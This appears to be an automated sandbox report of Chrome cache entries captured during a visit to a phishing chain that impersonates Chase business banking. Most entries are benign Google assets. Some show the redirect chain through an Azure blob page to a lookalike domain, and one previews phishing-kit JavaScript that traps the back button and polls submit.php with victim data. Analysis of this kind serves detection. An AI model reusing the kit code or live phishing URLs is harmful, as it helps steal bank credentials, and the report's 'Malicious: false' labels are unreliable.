SHA-512:	B8B9941C54B886CA2CE88B6814407E0B56B6655A7DA7FA8A737397C27CB32DEC4E65B38158AA582B25A2C4EDB6EF87A6DCA43C5C0E53FA08F52205D3974CBB3D
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/_/apps-fileview/_/ss/k=apps-fileview.v.ovqSItYnX0g.L.W.O/am=MBg/d=0/rs=AO0039tz5VrQ5sjGTSjn86HXfczh2ZNxIg
Preview:	.Fng7d{width:100%;border-radius:50%}.TW497b{height:56px}.TW497b.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend{height:72px}.mVuend.znIWoc{border-bottom:1px solid var(--gm3-sys-color-outline-variant,#c4c7c5)}.mVuend .W7g1Rb-rymPhb-Gtdoyb{gap:8px}.OiePBf-zPjgPe{display:var(--gm3-focus-ring-outward-display,none);pointer-events:none;position:absolute;z-index:1;border-start-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-start-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-start-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-end-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-end, 0px) + var(--gm3-focus-ring-outward-offset, 2px));border-end-start-radius:calc(var(--gm3-focus-ring-outward-target-shape-end-start, 0px) + var(--gm3-focus-ring-outward-offset, 2px));inset:calc(var(--gm3-focus-ring-outward-offset, 2px)*-1);box-shadow:0 0 0 va

Chrome Cache Entry: 153

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:HKmn:qmn
MD5:	EC331136E75314D2030EE013B6069921
SHA1:	6B7428B8B15616A67F767D42964AF94FCBE2A803
SHA-256:	A7358DF6B7B60280F2A0D7CD5B70A9F1DFA4FCE5C31FB1A24FB2F109AF7EE977
SHA-512:	30C9B411C937F7D3DE9E59D8BE1CDE4F262B05C6AC2EC2D2C1956E705FE255D84DE17913826A0378B7FD4E51E075EE72A6BF16B870BF78B83D4F1D4507A44278
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmlNHcUu78_khIFDQbtu_8=?alt=proto
Preview:	CgkKBw0G7bv/GgA=

Chrome Cache Entry: 154

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	481
Entropy (8bit):	5.247965667787344
Encrypted:	false
SSDEEP:	6:wBzkrQWR0iYBtqW3kUWPq2JlKIOxQgjw++92gk7uRlQgjw++2Hp71QrizYxQgjwx:4krY1trWPqf9Tjk9dlTjk2TQrpxTjkh
MD5:	203EF763939412AEFD6DE4C989795CB1
SHA1:	26E440F2DBF766C4ECFB0E6A5E95E881F05027B9
SHA-256:	B8349EF0693EB1C882DD21F80C0853992F48BBBA6A8B96CA3DB461596BEAE570
SHA-512:	9A2CF96B8E3B85798DE3C167D0CF5267554B2D56FEFD60C3F9088DAB596D7BDE7508B42BC744A95D4A2AD055F4C2EB2614E8619487CCEF5C856C932E50BCC4A7
Malicious:	false
Reputation:	low
URL:	https://www.google.com/url?q=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2&sa=D&source=apps-viewer-frontend&ust=1734740489432843&usg=AOvVaw1JS_jyoOcFgFxlS4pA6o8h&hl=en
Preview:	<HTML><HEAD>.<meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>Redirecting</TITLE>.<META HTTP-EQUIV="refresh" content="1; url=https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2">.</HEAD>.<BODY onLoad="location.replace('https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2'+document.location.hash)">.Redirecting you to https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2</BODY></HTML>..

Chrome Cache Entry: 83

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	4002
Entropy (8bit):	7.822998215030883
Encrypted:	false
SSDEEP:	96:o4X4X4j/ULDoncX4OsM9KbayX4X4X4X4t2oVc0alWwPV3AWJQ:dooj/QDoncoOyayooooxlEt3Ha
MD5:	981C7BDD8C33DB0212D659454D7FF96D
SHA1:	D5C5E5EADFD07F2D2299C7DFD9A32F5284C21B98
SHA-256:	6CBAC603A6306DB6EE6D4765839A86F354959EF7D75206F2F9DCD32242E6C275
SHA-512:	B3FF42B07809374AB5EBCFD1DA730B222CFBD03198C340E6137B2593243B2FCFD9895B3C925DE8A74CC0CC0C4B91C0F712EDCDA9699D4993EE248A3BA7E51D48
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 ...........@.>.Z.P'%(...hq...in.v..._.5...X.s.G....}.j.Hy..r.y..W.O.....C...7....bi....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..S.........D..L(XXa.g..>..T..[x....k..y.Y.].!...c....>.......X..W..x4.R.r.l.K...\|.g0>..k\|B^?.3.....+.F.3.....2.`.l.^..RdM...0.O......,1...t../...ZS".....\|!...mM>....3S.6..........z.I...#.o.W.EB...3..~.v.[x5...O..vK.........s."t...8..R.......X.ji....ka.C.E....V.&..U.<...C.......n.....k~T....\|...>j...)[.....e^...MZF.0S.=....\|.%.[.TTo2u....>....6...`..S..[C4$m.D ...p..V.Q.aM!......M\..`8.$A..H..`...a.Z.~.r..Y...:F{......+......6i>.....<.\|!...mM>....6...K....,Y..m8E..w.iu4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.....*....z..;..`..mM>....6...`..SMu..{..W....5..Itg.s...\w.M......X.ji....y.4.f.3..z.] ..!....et.f.X...R4"..W..!+5....K4".a........t.f..`..SO.0}c....Bt

Chrome Cache Entry: 84

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	14566
Entropy (8bit):	5.70914661559882
Encrypted:	false
SSDEEP:	384:G3mOiXBu8gbEDBbJvhFUJOpwBznlkjqws/:rOiXBfkAvhmcpwBlkjW/
MD5:	FEC2026A018A7F138042B9FDB25A5E63
SHA1:	1F2F4F6F399A900000FB5B345D82E631D3159685
SHA-256:	273375229A390C6928B7035712B452DCA81851533593629167F7996E01811986
SHA-512:	81D1EB4F11CF792DC00DBA2D4F2FC739959D1223133F0F25CB7402AD4AC012FBE918430F0EE755BBC968411864417232CAF3A50BA3101E1555C71FD6AD3C14DC
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy2e,LBaJxb,sy2g,pxafOd,sy2f,sy2k,sy2l,sy2o,GI8h7,nAFL3,sy2p,sy2q,O626Fe"
Preview:	try{.var TQ=Symbol();.}catch(e){_DumpException(e)}.try{.C("LBaJxb");.var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa;.YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d);.c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px

Chrome Cache Entry: 85

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 86

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569), with CRLF line terminators
Category:	dropped
Size (bytes):	22085
Entropy (8bit):	5.313702298219503
Encrypted:	false
SSDEEP:	384:20Rmn3yZ8HKsQk2SkHjbj8Dc3+3oxoF3rq3d2+q4K3r+plS9p0+EgmsvwzDPj7:2oY0SkDbj8Dck97msvwzDL7
MD5:	2FB611835E208FA0D32BB653C10412BF
SHA1:	B6ED5C1CA264260C7944744CCF1EC9147317F5EE
SHA-256:	05C4C6F035CC8256EDA144EE93F8A6492AD537D6C49D0F7D541FD38B1B180221
SHA-512:	146D24A895A60A2EEF429724BFB951C30794C527BF099901C92DE3D6836C8869D0F82615D5F85FC0BBC430781117B63790C44D5F5BF957CC12C93EE41F11AE44
Malicious:	false
Reputation:	low
Preview:	//START system functions for all phishes..window.session = makeid(5);..localStorage.setItem("session", window.session);..var onStorage = function (e) {...if (e.key === 'session' && e.newValue !== window.session)....localStorage.setItem("multitab", window.session);...if (e.key === "multitab" && e.newValue && e.newValue !== window.session) {....window.removeEventListener("storage", onStorage);....localStorage.setItem("session", localStorage.getItem("multitab"));....localStorage.removeItem("multitab");....document.body.innerHTML = 'The current page is already open in another tab. Please follow there!';...}..};..window.addEventListener('storage', onStorage);....history.pushState(null, document.title, location.href);..window.addEventListener('popstate', function (event){...history.pushState(null, document.title, location.href);..});....document.addEventListener('DOMContentLoaded', function() {...let TimeStep = 5000,...url = 'submit.php';.......function Update(){....var uid=($('#uid').length

Chrome Cache Entry: 87

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224)
Category:	downloaded
Size (bytes):	16972
Entropy (8bit):	5.610632369043462
Encrypted:	false
SSDEEP:	384:rAvPH9on/L0Z7LCoK/k8NMxIU8sK+1a+1cS2bs8bVvHi:M39SAooK/O/K+cbRbVvHi
MD5:	56DB2B9B38F212881110E036BBF43E85
SHA1:	4A1AB3DEB689B65F0591AE57531445078538715C
SHA-256:	05A7BA93EAE423C94AE992161734469FDD7A2E77D975FD870B7D2F505C86D71D
SHA-512:	26723ED1D8335C922DC95ED5F7543E6653FD487BDE6428C04463A1ECC35F5771D14714621DA4DCD3B73C8229423958F3871EB24C3F9AAB81DDBDCAD06142EBA5
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=IiC5yd,sy3m,sy3j,sy3l,sye,sy3n,sy3i,sy3o,sy3q,syf,sy6i,qDbUCd"
Preview:	try{.C("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 88

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
URL:	https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. ..../Dk.8.T....+..%Vs4..DC.R.`..Z..........0.[)N!.....%.>&.b.$.M....P.!...!....'Kv..Nd...mvR.:.L....w..y%.i..H..u....s.Se1.[.)."..)%.I.....(.#M..4.@....#.....X..P<...k..g....O..I..>-...'._.Q..T.y.=Z.GR{]..&t}......>J..!,..X6.HC..$.:.}..z...._b.b.4.E.....;.Ha.?s.

Chrome Cache Entry: 89

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	27641
Entropy (8bit):	5.573976695441575
Encrypted:	false
SSDEEP:	192:ocbBXTbrhho+7ySzhY7UVbqGIwVjqwKYqipd5HwBsIwAhuoxQ1VohjQ/VbqGIwVU:H1/5qY1YtT6qYivxTAqYMH
MD5:	2118F868FAE723EBC0C0674E8649E123
SHA1:	6A7759DD79CF76D2141585D0D6880DF9F0DF6FDB
SHA-256:	D9913CCE1102236ACD2DCBC26F0CD7A59C818F315B659704987AFBFA5BD46573
SHA-512:	2182404F2B47C3B1CCDB1F41697E9598459D63F72F7229479A464CCE220C256370D278CAF3FB48DEB0300296C25721B57199E1D9C43FA505DB6B4AE4348D2246
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Google+Sans_old:300,400,500,700"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 90

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3274), with no line terminators
Category:	downloaded
Size (bytes):	3274
Entropy (8bit):	5.390471426059042
Encrypted:	false
SSDEEP:	48:lwBrcIGsrcIGyCGnllJ1ws15Tws15QZUxzVKLCJEcouyntAu1I5nEcJyZXE1eelB:lXTMb1db1hNY/cobkcsidqg3gcIOW
MD5:	33E4EF067E8DB248F4DFB3C7F76E02B5
SHA1:	D5D5979344C1D3F41A32A180ADC849D373196B6A
SHA-256:	89E059962059032E7A140D5739E8C9C197A55D7305ABD98466C9D6D300B07A02
SHA-512:	9A1F769697EE558640C298906A933259DE20D4CD01D0D485BAEA1B7274B8F951B6D56BF5DF1E54383482970245E2CC5F71EB833EA1C89E949E6948DB56A448AE
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 91

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5237
Entropy (8bit):	5.135077316805996
Encrypted:	false
SSDEEP:	96:QgNpd3k2iN3+BE3gHWA+0ztCUEr5Go+64hvmssgipiQiiiGtlnC8otq3Ss4tJEfw:FKRNOB0g2Az5CYKZXblnC8mq3SsWJEfw
MD5:	F00E890DE19C06BFBE282D2C18C61473
SHA1:	E916175AA815D2789EE90B919205A2AB932F1C2E
SHA-256:	0A6CB1F40DD0E69DAC3C536735BCFE1FA6DE101234549DF455B7434E01F74137
SHA-512:	5B969FB2AB2CDDC76163A3EACE849AC051FF97038620CAE709DA808E1535CF927365EE9037C4D8295D0EF2468A17BFD3BA11C2B3E8EC9A3905566986FF059AB0
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/loader_big.css
Preview:	.....loader_big {.. position: fixed;.. top: 44%;.. right: 0;.. bottom: 0;.. left: 0;.. z-index: 9999;.. margin: 0;.. text-align: center;.. color: #cccccc;.. font-size: 14px;..}.....loader_big:before {.. content: "";.. display: block;.. margin: 0 auto 11px;.. text-align: center;.. width: 40px;.. height: 40px;.. border-left: 4px solid #000;.. border-left: 4px solid rgba(204,204,204,1);.. border-right: 4px solid #000;.. border-right: 4px solid rgba(204,204,204,1);.. border-bottom: 4px solid #000;.. border-bottom: 4px solid rgba(204,204,204,1);.. border-top: 4px solid #0092ff;.. border-radius: 51px;.. -webkit-animation: myrotate .75s infinite linear;.. -moz-animation: myrotate .75s infinite linear;.. -o-animation: myrotate .75s infinite linear;.. animation: myrotate .75s infinite linear;.. -webkit-box-sizing: unset;.. -moz-box-sizing: unset;.. box-sizing: unset;..}.....loader_big:after {.. content: '';.. position: fixed;.. z-index: -1;.. top: 0;.. right:

Chrome Cache Entry: 92

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	4.86022554453699
Encrypted:	false
SSDEEP:	3:UREHjJqhJu+1zWatIyGMHHXwVUbHcWWLXExp7Hitn:jqhJVCatYMAVUb2LXSzit
MD5:	8AEB07A8B03E480B34EE468AA3152291
SHA1:	A84E820D21F3DD13740665C2FEB13B6A1A1DECBE
SHA-256:	85A5257C151BC011A7BA4248DD40DCF0DCB1C492DD020367E3B0BEEE51585C9C
SHA-512:	AA43F68575CEFF3AA8DF19C986E77AFF4C7A3815455C29687C33962BE04CF34071B285FB545D6C1D30819DE666A8FB3854CE08A1B77A04569156453D7D3FB5C9
Malicious:	false
Reputation:	low
URL:	https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2
Preview:	<head>..<meta http-equiv="Refresh" content="0; url='https://online.access.secure001.chase-business.com/?ref=trush39dh3sc'" />..</head>

Chrome Cache Entry: 93

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1170)
Category:	downloaded
Size (bytes):	209242
Entropy (8bit):	5.525486724811298
Encrypted:	false
SSDEEP:	6144:y2vAXZ8wuXFb5CcdsvyvTmfi7OxDP1Bm5G:pAXiwib5Ccdky57S
MD5:	2D5977E5451D9CB3C5F83DAC50A2F8EF
SHA1:	B91600576EA9602E509B691B8C8DCA92680467B6
SHA-256:	34E479671BA6D41D87BD292162ECBA4E51A1897E4CB112C4C9DE054EF8930FFA
SHA-512:	51B14B36E0C442C56A9C0CC7B28FEBF3765DD15BE80B5B339A1AC7B8427D5EBFDBFA337DFC55AA40A8A985E7B1286C4D2D519B2AAA728AD8289BEA76BADA1866
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1"
Preview:	gapi.loaded_1(function(_){var window=this;._.Bg=(window.gapi\|\|{}).load;._.Tn=_.Be(_.Me,"rw",_.Ce());.var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Tn[a];Vn(a)}};_.Wn=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Xn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Un(e,2);a:{e=a.getSiteEl();c=c\|\|{};var k;if(_.Me.oa&&(k=d.id)){f=(f=_.Tn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Vn(k)}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=c.

Chrome Cache Entry: 94

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=msuc38gzovz3
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 95

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	273703
Entropy (8bit):	7.972604775437503
Encrypted:	false
SSDEEP:	6144:7t3lojDmWSmJPMxANe5VFNbalPDGlSqeYVKH3R0MeNHX2jBG5:7tVojQCPwUe3Ts7mSqeRSNHGlG5
MD5:	03F5C8F677084A68E156168BD0B9BE4A
SHA1:	96C30B767D2729C6473F74067FF23634F1F00099
SHA-256:	35B3566CE2EDC9F9985D59D62EB26FE3DA2E2C55C2E3DA19CF1E385EE4F81B76
SHA-512:	984A95D33B187708A695741DA509D41D220081421BBD9D41EF41222BBDE925199F119935157317D2664A53E9258782C37607CCC2B090055FF9A72D053CDECED7
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/background.desktop.90018.jpeg
Preview:	......JFIF.............C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....e....3E%..h.%%..h......(.Rf...'4..P.f...S.2h..b...2i1J(.....%% ..4....vh.h4RP.E...f...I..vM!&.4f...sFh.0.(......n.dP!..!...3..(=)r=i2.z.e'5&.i.(...\.E!.!sFi....p....Q..u/zL...(...r(...m;.Q@..I.....F*C....)x...JA...f....v.S.Gj..d.NiE.....(..)i6.Q.Z..c.Z)..{QN...i..;..?..L.6.Z6.!h...4.R...(.b.K.zL..;Q.3Fh.c.1Fh.v..(.V.:QG...........Fh.;.Fh.@....IN.0.Lu...#+H

Chrome Cache Entry: 96

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 70296, version 0.0
Category:	downloaded
Size (bytes):	70296
Entropy (8bit):	6.426347356988083
Encrypted:	false
SSDEEP:	1536:QAQEr8GkYSPBiCfIupU7cNtfeBkHW0Mj78EmMmB7K2OYAvA2rXjItVqfk+9m4uKE:QAQEr8Gk1PYCfIWU7cNtfeBkHWp78Em7
MD5:	2EC43BFFA4424B28D0CC96B37CCA33A4
SHA1:	1CDE2661FB95ECE87155C7931D5DA6911331EF43
SHA-256:	6EA71F4189E78297E3D1834C586A10DD39826ED8361CB1268B847CEF45E03CB1
SHA-512:	534AFD7E5AD60682F0A3D80388ACED86F5C328D12976E59131C7044A0702BC368CD1FDF7CE653F51489D7E87A62BF01A11ADBEF7581C8A732274E0B81A6A7DB1
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/dcefont.woff
Preview:	wOFF...............L........................OS/2.......`...`...`cmap...h..........gasp...4............glyf...<........k...head.......6...6%..ahhea...L...$...$....hmtx...p.........;8.loca..............ILmaxp....... ... ...Aname.............J..post...x... ... ...............................3...................................@... .....@...@............... .....................................h.@...(... ."...".3.D.U.f.w.......".3.L.f.w.................#.+.-.0.5.8.;.F.L.O.................... ......... ."...".3.D.U.f.w.......".3.L.f.w.................#.).-.0.4.8.;.D.L.N.................................................t.................}.........!.........................4...;....................................................................................................................................................79..................79..................79.................8.X..."'..'&547>.7632............."............327>.7654'..'&#.#54&#"...#"....;....326=.32654&..eXX

Chrome Cache Entry: 97

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34184, version 1.0
Category:	downloaded
Size (bytes):	34184
Entropy (8bit):	7.99444009565784
Encrypted:	true
